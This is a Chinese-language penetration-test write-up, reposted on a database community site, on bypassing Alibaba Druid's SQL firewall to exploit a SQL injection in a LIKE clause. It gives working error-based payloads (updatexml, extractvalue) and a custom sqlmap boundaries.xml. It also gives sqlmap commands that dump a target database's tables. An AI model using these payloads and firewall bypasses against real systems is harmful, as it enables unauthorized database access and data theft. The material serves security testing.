注:本文针对xm17大佬遇到的实际场景进行补充。
问题场景
在测试中,遇到了一个sql注入,注入点出现在查询语句中,通过报错信息得知,sql语句如下:
select * from http_sequence_log t where t.pguid like '%${pguid}%' and
replace(pguid,'-','')
复制
遇到这种基本上闭合加报错一笔带过就OK了 但是呢,报错,提示sql注入,sql查询语句中包含恒为假的条件
sql injection violation, part alway false condition not allow
漏洞判定
通过注入点判断,确定当前确实存在sql注入漏洞
报错:guid=12'and 1-user='
正常:guid=12'and 1-user()='
sqlmap直接跑,发现无法识别出当前注入点。经过搜索发现是druid的sql防火墙拦截导致的。
漏洞利用
参考链接:
https://mp.weixin.qq.com/s/lGalf63VXCva2I5BpmSMgQ
在本地搭建环境后,测试出的payload可以绕过 。
12' or updatexml(1,concat(0x7e,user(),0x7e),1) ='1
复制
扩展
同理可以得出以下payload
'or+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
同理 &&和||也可以
%26%26updatexml(1,concat(0x7e,(select+user()),0x7e),1)='1
复制
解决sqlmap无法注入
我们发现sqlmap无法识别此注入点,主要是因为无法闭合后面的sql语句中的%'
那我们就自己添加一组闭合方式。
修改sqlmap配置文件“sqlmap\data\xml\boundaries.xml”新增或者只保留此一种闭合方式。
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Generic boundaries -->
<boundary>
<level>1</level>
<clause>1</clause>
<where>1</where>
<ptype>1</ptype>
<prefix>'</prefix>
<suffix>='</suffix>
</boundary>
</root>
复制
直接sqlmap跑,发现可以成功盲注,但是太慢了
sqlmap.py -u "http://192.168.3.202:8080/monitorLog?guid=12" --dbms="mysql" -v 3
复制
我们可以强制让sqlmap走报错注入模式,速度瞬间飞起:
sqlmap.py -u "http://192.168.3.202:8080/monitorLog?guid=12*" --technique=E -v 3 --tables -D "apimonitor"
复制
备注:
druid的sql防火墙对应的类路径为:com\alibaba\druid\wall\WallFilter.java
引入配置文件
黑名单展示:
文章转载自SafeTime,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。
评论
相关阅读
【活动】分享你的压箱底干货文档,三篇解锁进阶奖励!
墨天轮编辑部
537次阅读
2025-04-17 17:02:24
SQL优化 - explain查看SQL执行计划(下)
金同学
301次阅读
2025-05-06 14:40:00
SQL 优化之 OR 子句改写
xiongcc
152次阅读
2025-04-21 00:08:06
奖项揭晓!SQL 挑战赛第三期已结束
墨天轮福利君
141次阅读
2025-05-15 17:30:07
“G”术时刻:资深工程师揭秘GBase数据库Hint核心技巧 实现SQL性能跃升
GBASE数据库
124次阅读
2025-04-25 10:10:28
MySQL 8.0 OCP 1Z0-908 考试题解析3
数据库运维之道
115次阅读
2025-04-28 11:01:24
2025 年 SQL IDE 大揭秘:全面解析主流工具的优劣与选择之道
K.
68次阅读
2025-04-21 00:34:18
不懂SQL?用MCP+AI,一句话搞定MySQL查询
MySQL数据库联盟
67次阅读
2025-05-09 10:07:57
轻松上手 SQLynx:以 MySQL 为基础的安装与使用指南
K.
64次阅读
2025-04-21 00:32:59
用 DeepSeek 识别分析“TOP SQL”
韩锋频道
60次阅读
2025-04-29 10:35:53